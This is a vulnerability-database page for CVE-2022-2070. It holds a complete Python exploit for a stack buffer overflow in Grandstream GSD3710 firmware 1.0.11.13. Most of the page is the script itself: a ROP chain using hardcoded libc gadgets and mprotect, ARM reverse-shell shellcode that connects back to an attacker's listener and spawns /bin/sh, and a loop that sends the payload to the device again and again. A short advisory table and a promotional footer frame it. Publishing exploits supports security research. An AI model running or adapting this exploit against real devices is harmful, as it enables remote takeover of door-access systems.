| Reporter | Title | Published | Views | Family All 9 |
|---|---|---|---|---|
| CVE-2022-2070 | 23 Sep 202220:43 | – | circl | |
| Grandstream GSD3710 缓冲区错误漏洞 | 23 Sep 202200:00 | – | cnnvd | |
| CVE-2022-2070 | 23 Sep 202215:06 | – | cve | |
| CVE-2022-2070 Grandstream GSD3710 Stack-based Buffer Overflow | 23 Sep 202215:06 | – | cvelist | |
| EUVD-2022-34362 | 23 Sep 202215:06 | – | euvd | |
| CVE-2022-2070 | 23 Sep 202216:15 | – | nvd | |
| 📄 Grandstream GSD3710 1.0.11.13 Stack Buffer Overflow | 26 May 202500:00 | – | packetstorm | |
| Design/Logic Flaw | 23 Sep 202216:15 | – | prion | |
| CVE-2022-2070 Grandstream GSD3710 Stack-based Buffer Overflow | 23 Sep 202215:06 | – | vulnrichment |
#!/usr/bin/env python3
# Exploit Title: Grandstream GSD3710 1.0.11.13 - Stack Buffer Overflow
# Google Dork: [if applicable]
# Date: 2025-05-23
# Exploit Author: Pepelux (user in ExploitDB)
# Vendor Homepage: https://www.grandstream.com/
# Software Link: [download link if available]
# Version: Grandstream GSD3710 - firmware:1.0.11.13 and lower
# Tested on: Linux and MacOS
# CVE: CVE-2022-2070
"""
Author: Jose Luis Verdeguer (@pepeluxx)
Required: Pwntools
Example:
Terminal 1:
$ ncat -lnvp 4444
Terminal 2:
$ python 3 CVE-2020-2070.py -ti DEVICE_IP -tp 8081 -ri LOCAL_IP -rp 4444
"""
from operator import ge
import sys
import time
from pwn import *
import argparse
def get_args():
parser = argparse.ArgumentParser(
formatter_class=lambda prog: argparse.RawDescriptionHelpFormatter(
prog, max_help_position=50))
# Add arguments
parser.add_argument('-ti', '--target_ip', type=str, required=True,
help='device IP address', dest="device_ip")
parser.add_argument('-tp', '--target_port', type=int, required=True, default=8081,
help='device port', dest="device_port")
parser.add_argument('-ri', '--reverse_ip', type=str, required=True,
help='reverse IP address', dest="reverse_ip")
parser.add_argument('-rp', '--reverse_port', type=int, required=True,
help='reverse port', dest="reverse_port")
# Array for all arguments passed to script
args = parser.parse_args()
try:
TI = args.device_ip
TP = args.device_port
RI = args.reverse_ip
RP = args.reverse_port
return TI, TP, RI, RP
except ValueError:
exit()
def check_badchars(data):
for i in range(len(data)):
if data[i] in [0x0, 0x40]:
log.warn("Badchar %s detected at %#x" % (hex(data[i]), i))
return True
return False
def get_shellcode(ip, port):
ip_bytes = socket.inet_aton(ip)
port_bytes = struct.pack(">H", port)
# Linux ARM reverse shell
# switch to thumb mode
sc = b"\x01\x30\x8F\xE2" # add r3, pc, #1
sc += b"\x13\xFF\x2F\xE1" # bx r3
# socket(2, 1, 0)
sc += b"\x02\x20" # movs r0, #2
sc += b"\x01\x21" # movs r1, #1
sc += b"\x92\x1A" # subs r2, r2, r2
sc += b"\xC8\x27" # movs r7, #0xc8
sc += b"\x51\x37" # adds r7, #0x51
sc += b"\x01\xDF" # svc #1
sc += b"\x04\x1C" # adds r4, r0, #0
# connect(r0, &sockaddr, 16)
sc += b"\x0C\xA1" # adr r1, #0x30
sc += b"\x4A\x70" # strb r2, [r1, #1]
sc += b"\x10\x22" # movs r2, #0x10
sc += b"\x02\x37" # adds r7, #2
sc += b"\x01\xDF" # svc #1
# dup2(sockfd, 0)
sc += b"\x3F\x27" # movs r7, #0x3f
sc += b"\x20\x1C" # adds r0, r4, #0
sc += b"\x49\x1A" # subs r1, r1, r1
sc += b"\x01\xDF" # svc #1
# dup2(sockfd, 1)
sc += b"\x20\x1C" # adds r0, r4, #0
sc += b"\x01\x21" # movs r1, #1
sc += b"\x01\xDF" # svc #1
# dup2(sockfd, 2)
sc += b"\x20\x1C" # adds r0, r4, #0
sc += b"\x02\x21" # movs r1, #2
sc += b"\x01\xDF" # svc #1
# execve("/bin/sh")
sc += b"\x06\xA0" # adr r0, #0x18
sc += b"\x92\x1A" # subs r2, r2, r2
sc += b"\x49\x1A" # subs r1, r1, r1
sc += b"\x01\x91" # str r1, [sp, #4]
sc += b"\x02\x91" # str r1, [sp, #8]
sc += b"\x01\x90" # str r0, [sp, #4]
sc += b"\x01\xA9" # add r1, sp, #4
sc += b"\xC2\x71" # strb r2, [r0, #7]
sc += b"\x0B\x27" # movs r7, #0xb
sc += b"\x01\xDF" # svc #1
sc += b"\x02\xFF"
sc += port_bytes
sc += ip_bytes
sc += b"/bin/shX"
return sc
def main():
ti, tp, ri, rp = get_args()
# ROP Gadgets
libc_base = 0x76ec1000
mprotect = libc_base + 0x93510+1
pop_lr = libc_base + 0x1848C # pop {r0, r4, r8, ip, lr, pc}
pop_pc = libc_base + 0xd7515 # pop {pc}
pop_r0 = libc_base + 0x00064bb0+1 # 0x00064bb0 : pop {r0, pc}
pop_r5 = libc_base + 0x00003738+1 # 0x00003738 : pop {r5, pc}
add_r1_sp = libc_base + 0x000b3c4e+1 # 0x000b3c4e : add r1, sp, #0x14 ; blx r5
# 0x0002f83c (0x0002f83d): mov r0, r1; bx lr
mov_r0_r1 = libc_base + 0x0002f83d
# 0x0006a086 (0x0006a087): pop {r1, pc}
pop_r1 = libc_base + 0x6a087
ands_r0_r1 = libc_base + 0x1feba+1 # 0x0001feba : ands r0, r1 ; bx lr
# 0x000a3a42 : movs r4, r0 ; pop {r1, pc}
mov_r4_r0 = libc_base + 0x000a3a42+1
# 0x0001fdae (0x0001fdaf): movs r1, r0; bx lr
movs_r1_r0 = libc_base + 0x0001fdaf
and_r0_f = libc_base + 0x8717e+1 # 0x0008717e : and r0, r0, #0xf ; bx lr
movs_r2_r0 = libc_base + 0x0001fc6a+1 # 0x0001fc6a : movs r2, r0 ; bx lr
mov_r0_r4 = libc_base + 0x0001f9d4+1 # 0x0001f9d4 : movs r0, r4 ; bx lr
blx_sp = libc_base + 0x46595 # 0x00046594 (0x00046595): blx sp
shellcode = get_shellcode(ri, rp)
auth_command = b"LOG/1.0 END CMD:AUTH_USERNAME @"
junk = p32(0x43434343)
payload = auth_command
payload += b"A" * 144
# The goal is that R0 -> SP
# R5 = pop {pc}
# because in the the next gadget we have a blx r5
payload += p32(pop_r5)
payload += p32(pop_pc) # R5 = pop {pc}
# R1 = SP ; BLX pop {pc}
payload += p32(add_r1_sp) # add r1, sp, #0x14 ; blx r5
# Restore LR register (because it has been updated by the last BLX gadget)
payload += p32(pop_lr) # pop {r0, r4, r8, ip, lr, pc}
payload += junk*4 # r0, r4, r8, ip
payload += p32(pop_pc) # LR = pop {pc}
# R0 = stack address
payload += p32(mov_r0_r1) # mov r0, r1; bx lr
# R1 = mask page align
payload += p32(pop_r1) # pop {r1, pc}
payload += p32(0xfffe1001)
# R0 = stack address & 0xfffe1001
payload += p32(ands_r0_r1) # ands r0, r1 ; bx lr
# R4 = R0
payload += p32(mov_r4_r0) # movs r0, r4 ; bx lr
payload += junk # r1
# mprotect params
# r0 = shellcode page aligned address
# r1 = size(ofshellcode)
# r2 = protection (0x7 – RWX)
# R2 = 0x7
payload += p32(pop_r0)
payload += p32(0x07070707)
payload += p32(and_r0_f) # R0 = 7 (RWX)
payload += p32(movs_r2_r0) # R2 (prot: 7 - RWX)
# R1 = length = 0x10101010 (avoid 0's)
payload += p32(pop_r0)
payload += p32(0x01010101)
payload += p32(movs_r1_r0) # r1 (length: 0x10101010)
# R0 = stack address 4k aligned
payload += p32(mov_r0_r4)
# mprotect(stack, 0x10101010, 0x7)
payload += p32(mprotect)
payload += p32(blx_sp) # ejecutamos en pila
payload += shellcode # shellcode
if check_badchars(payload[len(auth_command):]):
sys.exit(0)
log.info("Device IP: %s:%d" % (ti, tp))
log.info("Attacker IP: %s:%d" % (ri, rp))
log.info("Payload len: %d" % len(payload))
count = 1
while True:
try:
print('Try: %d' % count)
r = remote(ti, tp)
r.send(payload)
log.success("Payload sent!")
# r.close()
time.sleep(1)
count += 1
except:
sleep(3)
pass
if __name__ == '__main__':
main()Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation